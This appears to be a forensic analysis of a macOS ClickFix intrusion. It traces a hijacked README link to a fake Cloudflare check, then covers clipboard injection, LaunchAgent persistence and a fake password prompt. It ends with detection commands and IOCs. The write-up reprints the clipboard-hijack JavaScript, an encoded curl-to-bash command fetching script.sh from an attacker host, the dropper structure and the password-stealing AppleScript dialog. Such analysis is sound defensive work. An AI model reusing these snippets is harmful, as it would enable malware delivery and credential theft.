ClickFix — Attack Chain (Initial Compromise)
Domain hijacking, ClickFix social engineering, clipboard injection, LaunchAgent persistence, fake PAM bypass. The full initial compromise chain.
ClickFix — Attack Chain (Initial Compromise)
The full initial compromise chain: domain hijack → ClickFix clipboard injection → script.sh → LaunchAgent persistence → fake PAM password dialog.
See also: clickfix-handoff | clickfix-bddr | clickfix-c2-bot | clickfix-iocs
1. Safari History Timeline
Reconstructed from ~/Library/Safari/History.db:
| Timestamp (Local) | URL | Action |
|---|---|---|
11:46:17 | github.com/redhat-developer/lsp4ij | Browsing lsp4ij README |
11:47:37 | idetools.dev/blog/lsp4ij-dap-announcement/ | Clicked README link → hijacked domain |
11:47:37 | 295e5cd2.sessionaquirecheck.pages.dev | Instant 302 redirect to phishing host |
11:49:17 | (no navigation) | Payload executed in Terminal |
The 1m40s window between redirect and execution matches the UX flow: read instructions → open Spotlight → type Terminal → paste → Enter.
2. Redirect Chain
github.com/redhat-developer/lsp4ij (README.md)
└── idetools.dev/blog/lsp4ij-dap-announcement/
├── [Domain EXPIRED — threat actor registered]
└── HTTP 302 →
└── 295e5cd2.sessionaquirecheck.pages.dev
└── [ClickFix lure — hosted on Cloudflare Pages]
The attack exploits the implicit trust model of developer documentation. A developer reading a Red Hat project README has no reason to scrutinize outbound links for domain expiry.
sequenceDiagram
participant V as Victim (Safari)
participant GH as github.com
participant ID as idetools.dev (Hijacked)
participant CF as sessionaquirecheck.pages.dev
participant C2 as maccf9c.jetbet4.online
V->>GH: GET /redhat-developer/lsp4ij
GH-->>V: README with link to idetools.dev
V->>ID: GET /blog/lsp4ij-dap-announcement/
ID-->>V: 302 → sessionaquirecheck.pages.dev
V->>CF: GET / (ClickFix page)
CF-->>V: Fake Cloudflare verification UI
Note over V,CF: JS sets clipboard to base64 payload
V->>C2: curl -s .../script.sh | bash
C2-->>V: Stage 1 payload
3. ClickFix Technique
ClickFix is a social engineering lure that subverts the OS shell by tricking the user into manually pasting a command. Unlike traditional phishing, no file is downloaded, no form is submitted, and no browser warning triggers.
Why ClickFix Evades Traditional Controls
| Security Control | Ordinary Phishing | ClickFix |
|---|---|---|
| Email gateway AV/sandbox | Scans attachments | N/A — no attachment |
| Browser download warnings | Warns on .exe/.sh | N/A — no download prompt |
| Gatekeeper (macOS) | Blocks unsigned binaries | Bypassed — bash is a system binary |
| Safe Browsing / SmartScreen | Blocks known bad URLs | May flag page, not clipboard |
| EDR file creation rules | Alerts on dropped files | Bypassed — executed inline |
| User intent | User might question download | User believes verification step |
Fake Cloudflare Page
Hosted on *.pages.dev (legitimate Cloudflare domain). When the user clicks the fake checkbox, hidden JS overwrites the clipboard:
document.getElementById('cf-checkbox').addEventListener('click', function() {
const payload = 'bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZj..." | base64 -d)';
navigator.clipboard.writeText(payload);
this.classList.add('verified');
document.getElementById('verify-text').innerText = 'Verification complete';
document.getElementById('instructions').style.display = 'block';
});
Follow-up instructions: "Press ⌘+Space → type Terminal → paste ⌘+V → Enter"
Developer Targeting
Developers are habituated to running commands from documentation. A developer reading about a new IDE extension is primed to execute setup commands. The attacker deliberately exploits this domain-specific behavioral pattern.
4. Clipboard Payload
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZjljLmpldGJldDQub25saW5lL3NjcmlwdC5zaCcgfCBiYXNo" | base64 -d)
Decodes to: curl -s 'https://maccf9c.jetbet4.online/script.sh' | bash
Obfuscation Layers
| Layer | Purpose |
|---|---|
bash <<< $(...) | Heredoc injection — avoids subshell with obvious arguments |
echo | base64 -d | Hides URL from clipboard preview |
Single-pipe | bash | Executes in memory — no file on disk during Stage 1 |
| HTTPS | Prevents MITM interception by network monitoring |
Because the script pipes directly into bash via stdin, no file is written to disk during initial execution. Evasion is complete at this stage.
5. script.sh — Decoded Structure
#!/bin/bash
DAEMON_ID="luhbmchzztkfbxao" # Randomized per-victim
PLIST_LABEL="com.${DAEMON_ID}"
PLIST_PATH="${HOME}/Library/LaunchAgents/${PLIST_LABEL}.plist"
SCRIPT_PATH="${HOME}/Library/${DAEMON_ID}"
# Drop resident script via osascript + base64
osascript -e 'do shell script "echo <BASE64_BLOB> | base64 -d > '"${SCRIPT_PATH}"'"'
chmod +x "${SCRIPT_PATH}"
# Write LaunchAgent plist (see section 6)
cat > "${PLIST_PATH}" << 'EOF'
...plist content...
EOF
# Activate immediately
launchctl load "${PLIST_PATH}"
# Write tracking ID for C2 correlation
echo "8a4e280e1159833ede425a1306c2efe5" > ~/.txid
The MASSIVE_BASE64_BLOB decodes to Stage 2 + Stage 3 logic (password stealer + blockchain C2 resolver). Using osascript as wrapper evades shell-level logging — osascript calls don't appear in bash history.
6. LaunchAgent Persistence
File: ~/Library/LaunchAgents/com.luhbmchzztkfbxao.plist
| Key | Value | Security Implication |
|---|---|---|
Label | com.luhbmchzztkfbxao | Randomized label defeats string-match detection |
ProgramArguments | /bin/bash ~/Library/luhbmchzztkfbxao | Runs as trusted system binary |
RunAtLoad | true | Executes immediately on load, and on every login |
KeepAlive | true | launchd auto-restarts if process exits |
ThrottleInterval | 30 | 30s delay before restart — prevents CPU spike detection |
WARNING:
KeepAlive: truemeans killing the process is not sufficient.launchdrestarts within 30 seconds. The plist must be unloaded vialaunchctl bootoutorlaunchctl unloadbefore killing.
Daemon Name Randomization
The string luhbmchzztkfbxao is pseudo-random per-victim. Defeats:
- Signature-based detection on label/filename
- File path allow-lists
- Process name matching in EDR rules
The pattern com.<random> mimics legitimate macOS daemon naming (e.g., com.apple.loginwindow), making it visually plausible in launchctl list.
Visibility Gap
User-scoped LaunchAgents in ~/Library/LaunchAgents/ are not visible in System Settings → General → Login Items. Only launchctl list, Terminal inspection, or dedicated tools (KnockKnock, Objective-See) reveal them.
7. Fake Password Dialog (PAM Bypass)
Mechanism
set passwordResult to display dialog ¬
"To run the application you need to change the settings for its operation. Please enter password for continue:" ¬
with title "System Preferences" ¬
default answer "" ¬
with hidden answer ¬
buttons {"OK"} ¬
default button "OK"
set stolenPassword to text returned of passwordResult
do shell script "echo " & quoted form of stolenPassword & " > ~/.passphrase"
Visual Deception
| Element | Fake Dialog | Real macOS Auth |
|---|---|---|
| Title bar | System Preferences | Same |
| Icon | Default osascript (diamond) | macOS padlock |
| Input | Hidden (dots) | Same |
| Button | OK | OK / Cancel |
| Grammar | "Please enter password for continue" ← broken | Precise Apple copy |
The broken English is a forensic behavioral signal useful for threat actor attribution.
Why This Bypasses TouchID and sudo
| Method | What It Protects | Can Bypass With osascript? |
|---|---|---|
| TouchID | sudo, Keychain, Apple Pay | No — biometric hardware |
| PAM | sudo privilege escalation | No — requires actual PAM stack |
security CLI | Keychain item access | No — requires Keychain auth |
osascript display dialog | Nothing — it's a UI widget | It IS the attack vector |
display dialog ... with hidden answer is a text input box. Zero security semantics. No PAM, no Keychain, no biometric. It presents a UI that looks like a system prompt and returns whatever the user types as a plain string.
8. Disk Artifacts
| Path | Type | Content | Persistent |
|---|---|---|---|
~/Library/LaunchAgents/com.<random>.plist | XML | LaunchAgent definition | Yes — loaded by launchd |
~/Library/<random> | Script | Stage 2 + 3 logic | Yes |
~/.passphrase | Plaintext | Victim password | Until deleted |
~/.txid | Plaintext | Tracking ID | Until deleted |
9. Detection Commands
# Check for non-Apple LaunchAgents
ls -la ~/Library/LaunchAgents/ | grep -v apple | grep -v google | grep -v microsoft
# Check running launchd jobs
launchctl list | grep -vE '(apple|google|microsoft|com\.adobe|1password)'
# Look for specific known label
launchctl list com.luhbmchzztkfbxao
# Check for credential theft artifacts
ls -la ~/.passphrase ~/.txid 2>/dev/null
# Recently modified files in ~/Library
find ~/Library -newer ~/Library/Preferences/com.apple.finder.plist -type f | head -50
10. IOCs — Attack Vector Phase
| Type | Indicator | Context |
|---|---|---|
| Domain | idetools.dev | Hijacked blog domain |
| Domain | sessionaquirecheck.pages.dev | ClickFix phishing host |
| URL | 295e5cd2.sessionaquirecheck.pages.dev | Exact phishing page |
| Clipboard | bash <<< $(echo "Y3VybC..." | ClickFix payload |
| Domain | maccf9c.jetbet4.online | Stage 1 payload server |
| HTTP | GET maccf9c.jetbet4.online/script.sh | First malicious request |
| File | ~/Library/LaunchAgents/com.<random>.plist | Persistence |
| File | ~/Library/<random> | Malware script |
| File | ~/.passphrase | Stolen password |
| File | ~/.txid | Tracking ID |
| Grammar | "Please enter password for continue" | Attribution signal |
Source: redhat-clickfix-report/docs/01_attack_vector.md + docs/02_stage1_persistence.md